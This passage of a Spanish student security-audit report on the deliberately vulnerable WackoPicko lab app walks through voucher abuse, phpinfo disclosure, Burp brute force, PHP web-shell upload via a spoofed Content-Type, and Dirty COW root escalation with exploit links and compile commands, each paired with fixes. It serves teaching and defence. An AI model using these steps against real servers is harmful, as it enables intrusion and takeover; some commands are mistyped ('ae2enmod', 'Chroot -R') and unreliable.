automáticamente a HTTPS sino que hay que cambiar el HTTP:// de la URL por HTTPS://. Para
simplificar esto lo mejor es realizar un redireccionamiento automático.
Se puede realizar esta redirección para una sola página, para el sitio completo, para todas las
páginas de todos los sitios del servidor,… puesto que en este caso se trata de asegurar la web
wackopicko la solución se centrará únicamente en habilitar HTTPS para este sitio (virtual host).
Comprobar que los módulos rewrite y ssl estén activados en el servidor Apache.
$sudo ae2enmod rewrite
$sudo ae2enmod ssl
32
Cada una de las páginas almacenadas en el servidor tiene su propio fichero de configuración, de
manera que localizaremos la que nos interese: 002-wackopicko.conf.
$sudo nano 002-wackopicko.conf
33
Añadimos la instrucción de redirección en el virtualhost.
34
Generamos unas claves SSL para la web:
$sudo openssl req -new -x509 -nodes -out /etc/ssl/certs/wackopicko.crt -keyout
/etc/ssl/private/wackopicko.key
35
Como el fichero propio de wackopicko ya está creado, sólo añadiremos:
SSLEngine on
SSLCertificateFile /etc/ssl/certs/wackopicko.crt
SSLCertificateKeyFile /etc/ssl/private/wackopicko.key
Reiniciamos Apache.
36
Comprobación de que la web está funcionando bajo HTTPS
Como se ve en la imagen, ahora estamos navegando de manera segura usando un protocolo de
encriptación. El candado característico de Firefox aparece cerrado y verde.
Por otra parte, volvemos a recrear el ataque MiTM y comprobamos que en este caso, la
comunicación está encriptada y no se puede entender nada. La captura corresponde al proceso
de login de un usuario normal. Puesto que ahora, toda la página es navegable a través de HTTPS
esto es extensible a la página de login para administradores también.
37
Podemos observar, con Wireshark la conversación SSL.
2.7 Aplicación de voucher de descuento ilimitada
Una navegación simple por la página nos lleva a un calendario en el que se muestran próximas
fechas con decuentos especiales. Estos códigos de descuento están visibles desde hoy no son
validados en fecha. Es más, el código de descuento no varía independientemente del mes y el día
38
en el que nos fijemos. Esto nos lleva a probar qué ocurrirá si realizamos la aplicación de múltiples
vouchers para un mismo producto o en este caso, la aplicación, un número ‘n’ de veces del mismo
código de descuento sobre el mismo producto.
Como se observa en la imagen, no sólo es indiferente en qué día apliquemos los cupones de
descuento, sino que además, no importa el número de veces que agreguemos el código de
descuento.
Finalmente vemos que conseguimos un 60% de descuento en la compra tras haber aplicado 6
veces el mismo código de descuento. Con lo que nuestro producto con un precio inicial de 40
Tradebux ha caído hasta los 19.131 Tradebux.
Una buena idea para solucionar este problema sería cerciorarse de que sólo se pueda aplicar un
voucher por artículo, que la generación del código sea aleatoria y válida únicamente para un
usuario y que incluya, de alguna manera, una referencia a la fecha en la que se pueda aplicar.
2.7.1 Solución.
Para solventar este problema existen multitud de soluciones diferentes. Personalmente optaría por
generar los códigos exclusivamente en la fecha prevista y no con anterioridad. Además, durante la
generación del código, de igual manera que en las cookies, asignar identificadores de usuario,
39
identificador de cupón (que no aumente de manera incremental, sino a través de alguna función
‘random’) para que no puedan ser repetidos y alguna marca de tiempo que no permita el uso del
código fuera de la fecha X.
El cupón podría ser, por ejemplo, una concatenación
Iduser+​idcupon​+timemark. (scanner1​34jgiHj​20180307)
de
estas
condiciones.
Al validar el código promocional se deberá comprobar la id del cupón y que ésta no se repita. Este
cupón además, deberá llevar una identificación validada previamente por el gestor de cupones.
Así pues identificamos el cupón de descuento por el usuario (y comprobamos que el cupón se ha
generado exclusivamente para este usuario), por el número de cupón (que será complicado de
copiar o adivinar) y por la marca de tiempo en la que fue generado, que limitará la aplicación del
mismo.
2.8 Archivo de información PHP​. phpinfo() disclosure.
Tras un breve escaneo con UNISCAN obtenemos la dirección relativa al fichero de configuración
php del que podremos averiguar mucha información del servidor. Este fichero se encuentra en
/include/test.php
Revisamos el archivo .log que genera el programa y observamos los resultados del escaneo de
Uniscan. A parte de otros posibles errores de diseño, indica que ha encontrado el archivo
phpinfo() propiedad de www-data.
40
Navegamos hasta la ruta /include/test.php y comprobamos que obtenemos la información del
servidor php.
41
2.8.1 Solución
Bastará con modificar el archivo php.ini en /etc/php5/apache2/ y alterar su contenido con:
Disable_functions: phpinfo
42
Esto deshabilitará el phpinfo() del servidor apache.
43
2.9 Debilidad de las contraseñas
En el trabajo final del módulo 2, Hacking Ético hice uso de hydra para resolver el ejercicio de Brute
Force de la aplicación DVWA. Esta vez usaré Burp Suite Community por variar las herramientas a
utilizar.
Para realizar un ataque de fuerza bruta en una página web usando Burp Suite nos valdremos de
la herramienta Intruder. Donde configuraremos los parámetros de las páginas que interceptemos
con el proxy.
Añadimos la página al intruder haciendo uso del menú contextual.
En el intruder deberemos configurar las opciones, el tipo de ataque será un Cluster Bomb. Para
ello observamos en la pestaña positions los valores que deseamos averiguar. Borraremos con el
botón CLEAR la configuracion recomendada por el programa y seleccionando el texto relativo al
nombre de usuario y a la contraseña, contraseña y clickando en ADD crearemos los payloads.
En la pestaña de Payloads deberemos configurar cada uno de los payloads. El primero será el
relativo a la variable adminname y el segundo será password.
44
Introduciremos los posibles valores que la variable puede tomar (a mano o cargándolos de una
lista) y pulsamos el botón de Start Attack y aparece una ventana emergente en la que vemos el
proceso de prueba y los resultados obtenidos.
En la imagen vemos que la combinación admin:admin nos da un status 303 y una longitud de
respuesta diferente a la mayoría, esto es un indicador de que la combinación probada es correcta.
45
2.9.1 Solución
Una buena política de contraseñas es básica para cualquier elemento dentro de la informática,
una contraseña robusta dificulta sensiblemente el acceso por parte de un atacante a cualquier
recurso. Por ello se establecen una serie de normas de cumplimiento obligatorio a la hora de
establecer contraseñas.
●
●
●
Longitud nunca menor a 8 caracteres.
La contraseña debe contener mayúsculas, minúsculas, números y caracteres especiales.
Las contraseñas deberán actualizarse de manera regular cada X tiempo de manera que,
aunque un atacante pudiera intentar vulnerar la web mediante brute-forcing a nuestro
servidor, el tiempo que le dedicase a encontrar la contraseña sería mayor que el que pase
de actualización de contraseña a nueva contraseña. Por eso la complejidad requerida en la
contraseña, generar una cadena lo suficientemente robusta para que lleve demasiado
tiempo el averiguarla por medio de la fuerza bruta.
Para esto, es necesario obligar al usuario a que introduzca una contraseña que cumpla nuestros
requisitos, esto se logra modificando el código de la página users/register.php donde deberemos
tener control de la longitud y los caracteres que incluya la contraseña creada por el usuario.
2.10 Remote File Upload.
La página investigada ha demostrado numerosas vulnerabilidades en su diseño y siendo una web
de fotografía, se debería tener especial cuidado con el contenido de las imágenes que los
usuarios puedan subir. Para ello deberán establecerse contenidos MIME válidos y ciertas
restricciones, como de tamaño de archivo, tipo de extensión,...
Usando Burp Suite observamos la conversación entre los equipos en el proceso de subir una
imagen y comprobamos que, efectivamente, tenemos un parámetro para el tamaño máximo de
fichero, otro para el tipo MIME y posteriormente se añade el fichero. Si alguno de los campos no
es correcto la imagen no se puede subir. Sin embargo, usando el Intercepter de Burp podemos
alterar la información que enviamos al servidor.
46
Así que probaremos a subir una shell PHP para ganar control sobre el servidor. Estableceremos
en los campos del formulario un nombre con extensión php, un ‘tag’ que en nuestro caso será
shell2 y que determinará la carpeta en la que se subirá nuestro contenido.
De esta manera sustituimos el contenido original de la petición HTTP y cambiamos el contenido de
“Content-Type” por “image/jpeg” y añadimos un buen número de ceros en el tamaño máximo del
fichero a subir, así aseguramos que el servidor no lo rechace.
El proceso es satisfactorio, de hecho, comprobamos que funcione con otras páginas maliciosas
del estilo.
47
Comprobamos que las distintas shells que hemos logrado subir al servidor se pueden acceder
desde nuestro navegador. Una vez tenemos una Shell en el servidor las posibilidades de causar
daño en la estructura de la aplicación son altísimas. Desde el manejo de la base de datos hasta la
creación y ejecución de diferentes programas.
48
2.10.1 Solución
Podríamos establecer un tipo de seguridad en base a la extensión del archivo subido, de tal
manera que sólo permitamos aquellos que sean JPEG, jpeg, JPG, jpg,.. y obviando a todos
aquellos que no lo sean. Consistiría en crear una condición que compruebe el texto a partir del
primer punto del nombre del fichero, que se almacena en $name.
$uploaded_ext = substr($name, strrpos($name, '.') + 1);
Y almacenaremos el tamaño del archive en otra variable, $uploaded_size, tal que:
$uploaded_size = $_FILES[‘userfile’][’size’];
Entonces, creamos la condición que permitirá subir, o no, el fichero.
if (($uploaded_ext == "jpg" || $uploaded_ext == "JPG" || $uploaded_ext == "jpeg" || $uploaded_ext ==
"JPEG") && ($uploaded_size < 100000)){
(…)
}
Else{ (…)
}
Además, deberemos establecer la variable X-Content-Type-Options a ‘nosniff’ para ello podremos
cambiar la configuración de Apache2.
49
2.11 Obteniendo el control del servidor.
Que un usuario sea capaz de subir una shell php a nuestro servidor es muy peligroso, estas
aplicaciones permiten tener el control de muchas de las opciones del servidor además de que
algunas están preparadas para crear conexiones en el servidor que posteriormente podremos
escuchar con netcat. Otra de las ideas que he abordado ha sido la generación de un archivo
malicioso con msfvenom que abra una conexión con meterpreter.
Sin embargo, la explotación del CVE-2016-5195, más conocido como “Dirty Cow” me ha parecido
un buen procedimiento, por ser relativamente ‘nuevo’ y porque he presupuesto que el servidor
Linux que tenemos montado en VirtualBox, que es un sistema anticuado y sin actualizar, será
vulnerable a esta escalación de privilegios.
Por ello acudimos a la página oficial del Dirty Cow (​https://dirtycow.ninja/ ) Donde tendremos un
buen número de PoC’s para diferentes situaciones en las que podemos intentar explotar el Dirty
Cow.
https://github.com/FireFart/dirtycow/blob/master/dirty.c Es un ejecutable que hay que compilar con
gcc y que se vale del fichero /etc/passwd al que el usuario tiene acceso.
Valiéndonos de una Shell subiremos nuestro ejecutable .c al servidor donde lo compilaremos
usando: ​gcc -pthread dirty.c -o dirty –lcrypt
Esto crea una carpeta dirty en el directorio donde estemos trabajando, ejecutamos el exploit
mediante: ./dirty
50
Si el DirtyCow tiene éxito nos pedirá una nueva contraseña, la introducimos y esperamos a que el
script termine.
51
Nos indica que debemos reiniciar la máquina para que los cambios tengan efecto.
Como también he realizado más pruebas, me parece interesante exponer los resultados de otra
escalación de privilegios utilizando DirtyCow. En este caso, también se explota la vulnerabilidad
CVE-2016-5195
con
un
exploit
en
C
que
podemos
descargar
de:
https://github.com/gbonacini/CVE-2016-5195.git
Tras compilarlo usando make y teniendo g++ instalado en el sistema bastará con ejecutarlo
mediante: ./dcow
52
El resultado de este ataque es que la contraseña de root para el servidor ha sido cambiada a
“dirtyCowFun”.
Comprobamos el correcto funcionamiento haciendo un $su e introduciendo la contraseña
modificada.
Accedemos con la cuenta de root. Ahora podemos controlar completamente el equipo. El creador
recomienda utilizar esta herramienta con el parámetro –s que ejecuta automáticamente una Shell.
2.12 Recomendaciones de Buenas Prácticas a implementar.
Especialmente crítico es que nuestro servidor esté desactualizado, esto aumenta el riesgo a sufrir
un ataque de algún tipo de vulnerabilidad conocida.
La robustez de las contraseñas, la complejidad exigida para las mismas, es sólo una parte de la
seguridad en los accesos. Se recomienda que esta contraseña deba ser actualizada cada X
tiempo para aquellas aplicaciones especialmente críticas. Quizás este no sea el caso, aunque
adoptar esta política para el acceso a administradores se ve algo pertinente. Una correcta política
de contraseñas evitará que el atacante tenga tiempo suficiente para descubrir nuestra contraseña
mediante la fuerza bruta.
También podremos evitar que el servidor muestre la versión del software que está corriendo, esto
hará que los ataques sean algo más complicados ya que no ofrecen información sobre el sistema,
algo que permite esconderse de algunos ​exploits.​ Para ello bastará con añadir las líneas al
fichero de configuración apache2.conf:
ServerSignature Off
ServerTokens Prod
53
Otra buena idea es el evitar las peticiones excesivamente grandes, para esto podremos
establecer:
LimitRequestBody 1048576
Asegurarse de que únicamente el usuario root tiene acceso a los archivos de configuración de
apache:
Chown –R root:root /etc/apache2
Chroot –R o-rwx /etc/apache2
Como recomiendan las herramientas automáticas de escaneo, a la hora de generar las Cookies es
importante tener una serie de cosas en cuenta, por ejemplo el no almacenar información sensible
del usuario en la misma o el correcto uso de cabeceras que aseguren la cookie como el
SecureFlag​ y el ​HTTP-Only.​
Por último, para evitar el posible Local File Inclusion en las páginas /admin/index.php?page= lo
recomendado es actualizar la versión de php y comprobar y sanitizar la entrada de texto para
evitar que el usuario se “salga” de una whitelist diseñada por el programador.
También es recomendable establecer los siguientes parámetros en Off:
allow_url_fopen=Off
allow_url_include=Off
3
Conclusiones
Evidentemente las conclusiones a extraer de este ejercicio son que la aplicación web es muy
insegura y tiene multitud de fallas en su diseño y digo que es evidente porque la web está
pensada para que las tenga. No obstante, la realización de este ejercicio permite al estudiante
tomar consciencia de cómo de crítico es un diseño adecuado en nuestras aplicaciones y que
estos errores pueden revertir en serios compromisos de seguridad como perder el control del
servidor por no llevar una correcta política de actualizaciones o recibir un ataque de Denegación
de Servicio mediante un ​defacement por un XSS en los comentarios de nuestra web. Si no
tenemos en cuenta el origen de las páginas a las que se puede hacer referencia podría conllevar
casos como el expuesto en el que la cookie de sesión del usuario puede ser sustraída y si no
empleamos los protocolos seguros, las credenciales de los usuarios pueden ser usurpadas con lo
que ello pueda suponer.
Además refuerza el conocimiento en técnicas de intrusión en aplicaciones web y el uso de
herramientas para la auditoría de un sitio en particular.
54